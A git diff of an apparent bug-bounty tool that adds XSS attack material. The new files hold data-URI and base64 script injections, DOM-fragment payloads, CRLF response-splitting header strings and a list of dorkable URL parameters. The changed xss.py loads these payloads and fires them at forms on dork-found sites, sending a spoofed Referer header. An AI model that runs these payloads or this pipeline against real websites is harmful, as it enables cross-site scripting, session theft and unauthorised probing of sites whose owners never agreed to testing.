diff --git a/README.md b/README.md
index 8e074d8..3c385a2 100644
--- a/README.md
+++ b/README.md
@@ -173,4 +173,5 @@ Also watch module for more specfic TODOs:
 | /_admrus/ /_admrusr/ /publicite/www/delivery/ 
 | /signaler-contenu-illicite.html* /desabo/ /optins/preferences/ /php/ /php/ajax/* 
 | /feuilletables/ /iframe/ /newsletters/ 
-|_/jeu-nouveau-rustica-bien-etre/ /concours/ /popunder/ /popup/
\ No newline at end of file
+|_/jeu-nouveau-rustica-bien-etre/ /concours/ /popunder/ /popup/
+* https://github.com/dwisiswant0/findom-xss/blob/master/findom-xss.sh
\ No newline at end of file
diff --git a/bounty_drive/attacks/dorks/google/xss/XSS-Dork.txt b/bounty_drive/attacks/dorks/google/xss/XSS-Dork.txt
index 2a5bf2a..8e86df1 100644
--- a/bounty_drive/attacks/dorks/google/xss/XSS-Dork.txt
+++ b/bounty_drive/attacks/dorks/google/xss/XSS-Dork.txt
@@ -104,4 +104,4 @@ intext:"<a href='#' onclick='
 intext:"<div onmouseover=
 intext:"<img src='x' onerror=
 intext:"<input type='text' onblur=
-intext:"<select onchange='
\ No newline at end of file
+intext:"<select onchange='
diff --git a/bounty_drive/attacks/dorks/google/xss/xss-parameters.txt b/bounty_drive/attacks/dorks/google/xss/xss-parameters.txt
index 98ce7d1..bd35735 100644
--- a/bounty_drive/attacks/dorks/google/xss/xss-parameters.txt
+++ b/bounty_drive/attacks/dorks/google/xss/xss-parameters.txt
@@ -23,3 +23,43 @@
 ?login=
 ?begindate=
 ?enddate=
+?id=
+?url=
+?search=
+?query=
+?cmd=
+?z=
+?q=
+?l=
+?r=
+?searchstring=
+?keyword=­
+?file=
+?years=
+?txt=
+?tag=
+?max=
+?from=
+?author=
+?pass=
+?feedback­=
+?mail=
+?cat=
+?vote=
+?sid=
+?msg=
+?category=
+?PID= 
+?search_keywords=
+?mid=
+?catid=
+?pid=
+?order_direction=
+?course_id=
+?session=
+?sfunction=
+?search_keywords=
+?site=
+?errmsg=
+?decl_id=
+?num=
diff --git a/bounty_drive/attacks/xss/payloads/Akamai_XSS_payloads.txt b/bounty_drive/attacks/xss/payload_to_opti/Akamai_XSS_payloads.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/Akamai_XSS_payloads.txt
rename to bounty_drive/attacks/xss/payload_to_opti/Akamai_XSS_payloads.txt
diff --git a/bounty_drive/attacks/xss/payloads/Cloudflare_xss_payloads.txt b/bounty_drive/attacks/xss/payload_to_opti/Cloudflare_xss_payloads.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/Cloudflare_xss_payloads.txt
rename to bounty_drive/attacks/xss/payload_to_opti/Cloudflare_xss_payloads.txt
diff --git a/bounty_drive/attacks/xss/payloads/Cloudfront_XSS_payloads.txt b/bounty_drive/attacks/xss/payload_to_opti/Cloudfront_XSS_payloads.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/Cloudfront_XSS_payloads.txt
rename to bounty_drive/attacks/xss/payload_to_opti/Cloudfront_XSS_payloads.txt
diff --git a/bounty_drive/attacks/xss/payloads/Imperva_xss_payloads.txt b/bounty_drive/attacks/xss/payload_to_opti/Imperva_xss_payloads.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/Imperva_xss_payloads.txt
rename to bounty_drive/attacks/xss/payload_to_opti/Imperva_xss_payloads.txt
diff --git a/bounty_drive/attacks/xss/payloads/Incapsula_xss_payloads.txt b/bounty_drive/attacks/xss/payload_to_opti/Incapsula_xss_payloads.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/Incapsula_xss_payloads.txt
rename to bounty_drive/attacks/xss/payload_to_opti/Incapsula_xss_payloads.txt
diff --git a/bounty_drive/attacks/xss/payloads/WordFence_xss_payloads.txt b/bounty_drive/attacks/xss/payload_to_opti/WordFence_xss_payloads.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/WordFence_xss_payloads.txt
rename to bounty_drive/attacks/xss/payload_to_opti/WordFence_xss_payloads.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-BruteLogic.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-BruteLogic.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-BruteLogic.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-BruteLogic.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-Bypass-Strings-BruteLogic.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-Bypass-Strings-BruteLogic.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-Bypass-Strings-BruteLogic.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-Bypass-Strings-BruteLogic.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-Cheat-Sheet-PortSwigger.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-Cheat-Sheet-PortSwigger.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-Cheat-Sheet-PortSwigger.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-Cheat-Sheet-PortSwigger.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-EnDe-evation.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-EnDe-evation.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-EnDe-evation.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-EnDe-evation.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-EnDe-h4k.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-EnDe-h4k.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-EnDe-h4k.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-EnDe-h4k.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-EnDe-mario.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-EnDe-mario.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-EnDe-mario.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-EnDe-mario.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-EnDe-xssAttacks.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-EnDe-xssAttacks.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-EnDe-xssAttacks.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-EnDe-xssAttacks.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-Fuzzing.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-Fuzzing.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-Fuzzing.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-Fuzzing.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-Jhaddix.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-Jhaddix.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-Jhaddix.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-Jhaddix.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-OFJAAAH.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-OFJAAAH.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-OFJAAAH.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-OFJAAAH.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-Polyglot-Ultimate-0xsobky.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-Polyglot-Ultimate-0xsobky.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-Polyglot-Ultimate-0xsobky.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-Polyglot-Ultimate-0xsobky.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-Polyglots-Dmiessler.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-Polyglots-Dmiessler.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-Polyglots-Dmiessler.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-Polyglots-Dmiessler.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-Polyglots.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-Polyglots.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-Polyglots.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-Polyglots.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-RSNAKE.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-RSNAKE.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-RSNAKE.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-RSNAKE.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-Somdev.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-Somdev.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-Somdev.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-Somdev.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-Vectors-Mario.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-Vectors-Mario.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-Vectors-Mario.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-Vectors-Mario.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-With-Context-Jhaddix.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-With-Context-Jhaddix.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-With-Context-Jhaddix.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-With-Context-Jhaddix.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-innerht-ml.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-innerht-ml.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-innerht-ml.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-innerht-ml.txt
diff --git a/bounty_drive/attacks/xss/payloads/XSS-payloadbox.txt b/bounty_drive/attacks/xss/payload_to_opti/XSS-payloadbox.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/XSS-payloadbox.txt
rename to bounty_drive/attacks/xss/payload_to_opti/XSS-payloadbox.txt
diff --git a/bounty_drive/attacks/xss/payloads/angular_xss_payload.txt b/bounty_drive/attacks/xss/payload_to_opti/angular_xss_payload.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/angular_xss_payload.txt
rename to bounty_drive/attacks/xss/payload_to_opti/angular_xss_payload.txt
diff --git a/bounty_drive/attacks/xss/payloads/target.txt b/bounty_drive/attacks/xss/payload_to_opti/target.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/target.txt
rename to bounty_drive/attacks/xss/payload_to_opti/target.txt
diff --git a/bounty_drive/attacks/xss/payloads/xss-payload-list-2.txt b/bounty_drive/attacks/xss/payload_to_opti/xss-payload-list-2.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/xss-payload-list-2.txt
rename to bounty_drive/attacks/xss/payload_to_opti/xss-payload-list-2.txt
diff --git a/bounty_drive/attacks/xss/payloads/xss-payload-list.txt b/bounty_drive/attacks/xss/payload_to_opti/xss-payload-list.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/xss-payload-list.txt
rename to bounty_drive/attacks/xss/payload_to_opti/xss-payload-list.txt
diff --git a/bounty_drive/attacks/xss/payloads/xss-polyglots.txt b/bounty_drive/attacks/xss/payload_to_opti/xss-polyglots.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/xss-polyglots.txt
rename to bounty_drive/attacks/xss/payload_to_opti/xss-polyglots.txt
diff --git a/bounty_drive/attacks/xss/payloads/xss-without-parentheses-semi-colons-portswigger.txt b/bounty_drive/attacks/xss/payload_to_opti/xss-without-parentheses-semi-colons-portswigger.txt
similarity index 100%
rename from bounty_drive/attacks/xss/payloads/xss-without-parentheses-semi-colons-portswigger.txt
rename to bounty_drive/attacks/xss/payload_to_opti/xss-without-parentheses-semi-colons-portswigger.txt
diff --git a/bounty_drive/attacks/xss/payloads/dcp-xss-payload-list.txt b/bounty_drive/attacks/xss/payloads/dcp-xss-payload-list.txt
new file mode 100644
index 0000000..668b439
--- /dev/null
+++ b/bounty_drive/attacks/xss/payloads/dcp-xss-payload-list.txt
@@ -0,0 +1,16 @@
+<a href="data:text/html;base64,[B64]%3cscript%3ealert("PAYLOAD");history.back();%3c/script%3e"></a>[B64]
+<iframe src="data:text/html;base64,[B64]%3cscript%3ealert("PAYLOAD");history.back();%3c/script%3e"></[B64]
+0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]'))
+<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]"&#09;&#10;&#11;>Y</a
+<EMBED SRC="data:image/svg+xml;base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
+<embed src="data:text/html;base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]"></embed>
+<iframe/src="data:text/html;&Tab;base64&Tab;,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:image/svg+xml; base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+"><META HTTP-EQUIV="refresh" CONTENT="0;url=data:image/svg+xml; base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+"><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+<object data="data:text/html;base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]"></object>
+<object data=data:text/html;base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]></object>​
+data:image/svg+xml;base64,[B64]<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="Y"><script type="text/ecmascript">alert("PAYLOAD");</script></svg>[B64]
diff --git a/bounty_drive/attacks/xss/payloads/dom-xss-payload-list.txt b/bounty_drive/attacks/xss/payloads/dom-xss-payload-list.txt
index 49ac3a4..e56a069 100644
--- a/bounty_drive/attacks/xss/payloads/dom-xss-payload-list.txt
+++ b/bounty_drive/attacks/xss/payloads/dom-xss-payload-list.txt
@@ -1,3 +1,17 @@
+Y#<script>alert('PAYLOAD')</script>
+Y#<%<!--'%><script>alert(PAYLOAD);</script -->
+Y#<script ^__^>alert(PAYLOAD)</script ^__^
+Y#<script src="data:text/javascript,alert(PAYLOAD)"></script>
+Y#<script>+-+-1-+-+alert(PAYLOAD)</script>
+Y#<script x> alert(PAYLOAD) </script 1=2
+Y#<script>a=eval;b=alert;a(b(/ PAYLOAD/.source));</script>'">
+Y#<script/y~~~>;alert(PAYLOAD);</script/Y~~~>
+Y#%00“><script>alert(PAYLOAD)</script>
+Y#%22%3E%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E
+Y#%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E
+Y#`"><%3Cscript>javascript:alert(PAYLOAD)</script>
+Y#%3Cscript>javascript:alert(PAYLOAD)</script>
+Y#<SCRIPT>a=/PAYLOAD/alert(a.source)</SCRIPT>
 "-prompt(8)-"
 '-prompt(8)-'
 ";a=prompt,a()//
diff --git a/bounty_drive/attacks/xss/payloads/http-header-xss-payload-list.txt b/bounty_drive/attacks/xss/payloads/http-header-xss-payload-list.txt
new file mode 100644
index 0000000..e450263
--- /dev/null
+++ b/bounty_drive/attacks/xss/payloads/http-header-xss-payload-list.txt
@@ -0,0 +1,11 @@
+%0d%0AContent-Length:%200%0d%0A%0d%0AHTTP/1.1%20200%20OK%0d%0AContent-Length:%2016%0d%0A%0d%0A&lt;html&gt;PAYLOAD&lt;/html&gt;
+PAYLOAD%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a<script>alert("PAYLOAD")</script>
+%0D%0ASet-Cookie%3APAYLOAD
+%0AContent-Type:html%0A%0A%3Cbody%20onload=alert(%22PAYLOAD%22)%3E
+%0AContent-Type:text/html%0A%0A%3Cscript%3Ealert(%22PAYLOAD%22)%3C/script%3Ehttp://www.test.com
+%0AContent-type:%20html%0A%0Ahttp://www.test.com/%3Cscript%3Ealert(%22PAYLOAD%22)%3C/script%3E
+%0AExpect:%20%3Cscript%3Ealert(%22PAYLOAD%22)%3C/script%3E
+%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified: Wed, 13 Jan 2006 12:44:23 GMT%0d%0aContent-Type:text/html%0d%0a%0d%0a<html>PAYLOAD</html>%20HTTP/1.1
+%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCache-Control: no-cache%0d%0aContent-Type: text/html%0d%0a%0d%0a<html>PAYLOAD</html>%20HTTP/1.1
+%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aPragma:no-cache%0d%0aContent-Type: text/html%0d%0a%0d%0a<html>PAYLOAD</html>%20HTTP/1.1
+%0d%0AContent-Type: text/html;charset=UTF-7%0A%0A%2BADw-script%2BAD4-alert('PAYLOAD');%2BADw-/script%2BAD4-
diff --git a/bounty_drive/attacks/xss/xss.py b/bounty_drive/attacks/xss/xss.py
index 130248d..54e057b 100644
--- a/bounty_drive/attacks/xss/xss.py
+++ b/bounty_drive/attacks/xss/xss.py
@@ -59,6 +59,7 @@ def test_xss_target(url, proxy, config, dork_id, link_id, attack_id):
         "Accept-Encoding": "gzip,deflate",
         "Connection": "close",
         "cache-control": "max-age=0",
+        "Referer": "127.0.0.1",
         "DNT": "1",
         "Upgrade-Insecure-Requests": "1",
     }
@@ -195,22 +196,44 @@ def launch_xss_attack(config):
                 scheme = urlparse(website).scheme
                 host = urlparse(website).netloc
                 main_url = scheme + "://" + host
-                print(f"Main URL: {main_url}")
-                print(f"Forms: {forms}")
-                print(f"DOM URLS: {domUrls}")
-                print(f"zip(forms, domUrls): {list(zip(forms, domUrls))}")
-                for form, domURL in list(zip(forms, domUrls)):
-                    search_tasks_with_proxy.append(
-                        {
-                            "main_url": main_url,
-                            "form": form,
-                            "scheme": scheme,
-                            "host": host,
-                            "domURLs": domURL,
-                            "proxy": proxy,
-                        }
+                if main_url != "://":
+                    cprint(
+                        f"Main URL: {main_url}",
+                        color="yellow",
+                        file=sys.stderr,
                     )
+                    cprint(
+                        f"Forms: {forms}",
+                        color="yellow",
+                        file=sys.stderr,
+                    )
+                    cprint(
+                        f"DOM URLS: {domUrls}",
+                        color="yellow",
+                        file=sys.stderr,
+                    )
+                    cprint(
+                        f"zip(forms, domUrls): {list(zip(forms, domUrls))}",
+                        color="yellow",
+                        file=sys.stderr,
+                    )
+                    for form, domURL in list(zip(forms, domUrls)):
+                        search_tasks_with_proxy.append(
+                            {
+                                "main_url": main_url,
+                                "form": form,
+                                "scheme": scheme,
+                                "host": host,
+                                "domURLs": domURL,
+                                "proxy": proxy,
+                            }
+                        )
 
+            search_tasks_with_proxy = [
+                i
+                for n, i in enumerate(search_tasks_with_proxy)
+                if i not in search_tasks_with_proxy[n + 1 :]
+            ]
             cprint(
                 f"Total XSS Targets: {len(search_tasks_with_proxy)}",
                 color="yellow",
@@ -224,6 +247,20 @@ def launch_xss_attack(config):
                 with open("attacks/xss/payloads/blind-xss-payload-list.txt", "r") as f:
                     blindPayloads = f.readlines()
 
+                domPayloads = []
+                with open("attacks/xss/payloads/dom-xss-payload-list.txt", "r") as f:
+                    domPayloads = f.readlines()
+
+                dcpPayloads = []
+                with open("attacks/xss/payloads/dcp-xss-payload-list.txt", "r") as f:
+                    dcpPayloads = f.readlines()
+
+                httpPayloads = []
+                with open(
+                    "attacks/xss/payloads/http-header-xss-payload-list.txt", "r"
+                ) as f:
+                    httpPayloads = f.readlines()
+
                 encoding = base64_encoder if config["encode_xss"] else False
                 with concurrent.futures.ThreadPoolExecutor(
                     max_workers=number_of_worker
@@ -236,6 +273,9 @@ def launch_xss_attack(config):
                             task["main_url"],
                             task["form"],
                             blindPayloads,
+                            dcpPayloads,
+                            httpPayloads,
+                            domPayloads,
                             encoding,
                             config,
                             task["proxy"],
diff --git a/bounty_drive/attacks/xss/xss_constants.py b/bounty_drive/attacks/xss/xss_constants.py
new file mode 100644
index 0000000..e69de29
diff --git a/bounty_drive/attacks/xss/xss_dom.py b/bounty_drive/attacks/xss/xss_dom.py
new file mode 100644
index 0000000..e69de29
diff --git a/bounty_drive/attacks/xss/xss_striker.py b/bounty_drive/attacks/xss/xss_striker.py
index a40a99c..307a9ee 100644
--- a/bounty_drive/attacks/xss/xss_striker.py
+++ b/bounty_drive/attacks/xss/xss_striker.py
@@ -10,6 +10,7 @@
 from urllib.parse import unquote, urlparse
 import bs4
 import html_similarity
+import validators
 from termcolor import cprint
 from fuzzywuzzy import fuzz
 from bypasser.waf_mitigation import waf_detector
@@ -347,62 +348,88 @@ def dom(response):
     highlighted = []
     sources = r"""\b(?:document\.(URL|documentURI|URLUnencoded|baseURI|cookie|referrer)|location\.(href|search|hash|pathname)|window\.name|history\.(pushState|replaceState)(local|session)Storage)\b"""
     sinks = r"""\b(?:eval|evaluate|execCommand|assign|navigate|getResponseHeaderopen|showModalDialog|Function|set(Timeout|Interval|Immediate)|execScript|crypto.generateCRMFRequest|ScriptElement\.(src|text|textContent|innerText)|.*?\.onEventName|document\.(write|writeln)|.*?\.innerHTML|Range\.createContextualFragment|(document|window)\.location)\b"""
-    scripts = re.findall(r"(?i)(?s)<script[^>]*>(.*?)</script>", response)
+    scripts = re.findall(
+        r"(?i)(?s)<script[^>]*>(.*?)</script>", response
+    )  # Find all script tags and extract the content between them
     sinkFound, sourceFound = False, False
     for script in scripts:
-        script = script.split("\n")
+        script = script.split("\n")  # Split the script content into lines
         num = 1
-        allControlledVariables = set()
+        allControlledVariables = set()  # Set to store all controlled variables
         try:
             for newLine in script:
                 line = newLine
-                parts = line.split("var ")
-                controlledVariables = set()
+                parts = line.split(
+                    "var "
+                )  # Split the line by "var " to identify variable declarations
+                controlledVariables = (
+                    set()
+                )  # Set to store controlled variables in each line
                 if len(parts) > 1:
                     for part in parts:
                         for controlledVariable in allControlledVariables:
                             if controlledVariable in part:
                                 controlledVariables.add(
-                                    re.search(r"[a-zA-Z$_][a-zA-Z0-9$_]+", part)
+                                    re.search(
+                                        r"[a-zA-Z$_][a-zA-Z0-9$_]+", part
+                                    )  # Use regex to find variable names
                                     .group()
                                     .replace("$", "\$")
                                 )
-                pattern = re.finditer(sources, newLine)
+                pattern = re.finditer(
+                    sources, newLine
+                )  # Find sources using regex pattern
                 for grp in pattern:
                     if grp:
-                        source = newLine[grp.start() : grp.end()].replace(" ", "")
+                        source = newLine[grp.start() : grp.end()].replace(
+                            " ", ""
+                        )  # Extract the source and remove spaces
                         if source:
                             if len(parts) > 1:
                                 for part in parts:
                                     if source in part:
                                         controlledVariables.add(
-                                            re.search(r"[a-zA-Z$_][a-zA-Z0-9$_]+", part)
+                                            re.search(
+                                                r"[a-zA-Z$_][a-zA-Z0-9$_]+", part
+                                            )  # Add controlled variables from variable declarations
                                             .group()
                                             .replace("$", "\$")
                                         )
-                            line = line.replace(source, yellow + source + end)
+                            line = line.replace(
+                                source, yellow + source + end
+                            )  # Highlight the source in yellow
                 for controlledVariable in controlledVariables:
-                    allControlledVariables.add(controlledVariable)
+                    allControlledVariables.add(
+                        controlledVariable
+                    )  # Add controlled variables to the set of all controlled variables
                 for controlledVariable in allControlledVariables:
                     matches = list(
-                        filter(None, re.findall(r"\b%s\b" % controlledVariable, line))
+                        filter(
+                            None, re.findall(r"\b%s\b" % controlledVariable, line)
+                        )  # Find matches of controlled variables in the line
                     )
                     if matches:
                         sourceFound = True
                         line = re.sub(
                             r"\b%s\b" % controlledVariable,
-                            yellow + controlledVariable + end,
+                            yellow
+                            + controlledVariable
+                            + end,  # Highlight controlled variables in yellow
                             line,
                         )
-                pattern = re.finditer(sinks, newLine)
+                pattern = re.finditer(sinks, newLine)  # Find sinks using regex pattern
                 for grp in pattern:
                     if grp:
-                        sink = newLine[grp.start() : grp.end()].replace(" ", "")
+                        sink = newLine[grp.start() : grp.end()].replace(
+                            " ", ""
+                        )  # Extract the sink and remove spaces
                         if sink:
-                            # line = line.replace(sink, red + sink + end)
+                            # line = line.replace(sink, red + sink + end)  # Highlight the sink in red
                             sinkFound = True
                 if line != newLine:
-                    highlighted.append("%-3s %s" % (str(num), line.lstrip(" ")))
+                    highlighted.append(
+                        "%-3s %s" % (str(num), line.lstrip(" "))
+                    )  # Add the highlighted line to the list
                 num += 1
         except MemoryError:
             pass
@@ -412,7 +439,7 @@ def dom(response):
         return []
 
 
-def zetanize(response):
+def html_forms_extractor(response):
     """Extracts form information from an HTML response.
 
     This function takes an HTML response as input and extracts information about the forms present in the response.
@@ -446,40 +473,78 @@ def zetanize(response):
 
     """
 
-    def e(string):
+    def encodeString(string):
         return string.encode("utf-8")
 
-    def d(string):
+    def decodeString(string):
         return string.decode("utf-8")
 
     # remove the content between html comments
     response = re.sub(r"(?s)<!--.*?-->", "", response)
+
     forms = {}
     matches = re.findall(
         r"(?i)(?s)<form.*?</form.*?>", response
     )  # extract all the forms
+
     num = 0
-    for match in matches:  # everything else is self explanatory if you know regex
+    for match in matches:
+        # extract the action URL using regex
         page = re.search(r'(?i)action=[\'"](.*?)[\'"]', match)
+        # The regex "(?i)action=[\'"](.*?)[\'"]" matches the action attribute of the form tag.
+        # It looks for the string "action=" followed by an optional single or double quote,
+        # then captures the URL inside the quotes.
+
+        # extract the form method using regex
         method = re.search(r'(?i)method=[\'"](.*?)[\'"]', match)
+        # The regex "(?i)method=[\'"](.*?)[\'"]" matches the method attribute of the form tag.
+        # It looks for the string "method=" followed by an optional single or double quote,
+        # then captures the method value inside the quotes.
+
         forms[num] = {}
-        forms[num]["action"] = d(e(page.group(1))) if page else ""
-        forms[num]["method"] = d(e(method.group(1)).lower()) if method else "get"
+        forms[num]["action"] = decodeString(encodeString(page.group(1))) if page else ""
+        forms[num]["method"] = (
+            decodeString(encodeString(method.group(1)).lower()) if method else "get"
+        )
         forms[num]["inputs"] = []
+
         inputs = re.findall(r"(?i)(?s)<input.*?>", response)
         for inp in inputs:
+            # extract the input name using regex
             inpName = re.search(r'(?i)name=[\'"](.*?)[\'"]', inp)
+            # The regex "(?i)name=[\'"](.*?)[\'"]" matches the name attribute of the input tag.
+            # It looks for the string "name=" followed by an optional single or double quote,
+            # then captures the name value inside the quotes.
+
             if inpName:
+                # extract the input type using regex
                 inpType = re.search(r'(?i)type=[\'"](.*?)[\'"]', inp)
+                # The regex "(?i)type=[\'"](.*?)[\'"]" matches the type attribute of the input tag.
+                # It looks for the string "type=" followed by an optional single or double quote,
+                # then captures the type value inside the quotes.
+
+                # extract the input value using regex
                 inpValue = re.search(r'(?i)value=[\'"](.*?)[\'"]', inp)
-                inpName = d(e(inpName.group(1)))
-                inpType = d(e(inpType.group(1))) if inpType else ""
-                inpValue = d(e(inpValue.group(1))) if inpValue else ""
+                # The regex "(?i)value=[\'"](.*?)[\'"]" matches the value attribute of the input tag.
+                # It looks for the string "value=" followed by an optional single or double quote,
+                # then captures the value inside the quotes.
+
+                inpName = decodeString(encodeString(inpName.group(1)))
+                inpType = (
+                    decodeString(encodeString(inpType.group(1))) if inpType else ""
+                )
+                inpValue = (
+                    decodeString(encodeString(inpValue.group(1))) if inpValue else ""
+                )
+
                 if inpType.lower() == "submit" and inpValue == "":
                     inpValue = "Submit Query"
+
                 inpDict = {"name": inpName, "type": inpType, "value": inpValue}
                 forms[num]["inputs"].append(inpDict)
+
         num += 1
+
     return forms
 
 
@@ -496,9 +561,11 @@ def photon_crawler(seedUrl, config, proxy, processed_xss_photon_crawl, threshold
         seedUrl (str): The starting URL for crawling.
         config (dict): Configuration settings for the crawler.
         proxy (str): Proxy settings for making requests.
+        processed_xss_photon_crawl (list): List of processed URLs for XSS vulnerability testing.
+        threshold (float, optional): Similarity threshold for skipping already processed URLs. Defaults to 0.9.
 
     Returns:
-        list: A list containing the found forms and processed URLs.
+        list: A list containing the found forms, checked DOMs, and the seed URL.
     """
 
     forms = []  # web forms
@@ -510,10 +577,10 @@ def photon_crawler(seedUrl, config, proxy, processed_xss_photon_crawl, threshold
     checkedDOMs = []
 
     def recursive_crawl(target):
-        """_summary_
+        """Recursively crawls a target URL to find forms and links.
 
         Args:
-            target (_type_): _description_
+            target (str): The target URL to crawl.
         """
         with lock_processed:
             processed.add(target)
@@ -536,6 +603,7 @@ def recursive_crawl(target):
         headers = {
             "User-Agent": random.choice(USER_AGENTS),
             "X-HackerOne-Research": "elniak",
+            "Referer": "127.0.0.1",
             "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
             "Accept-Language": "en-US,en;q=0.5",
             "Accept-Encoding": "gzip,deflate",
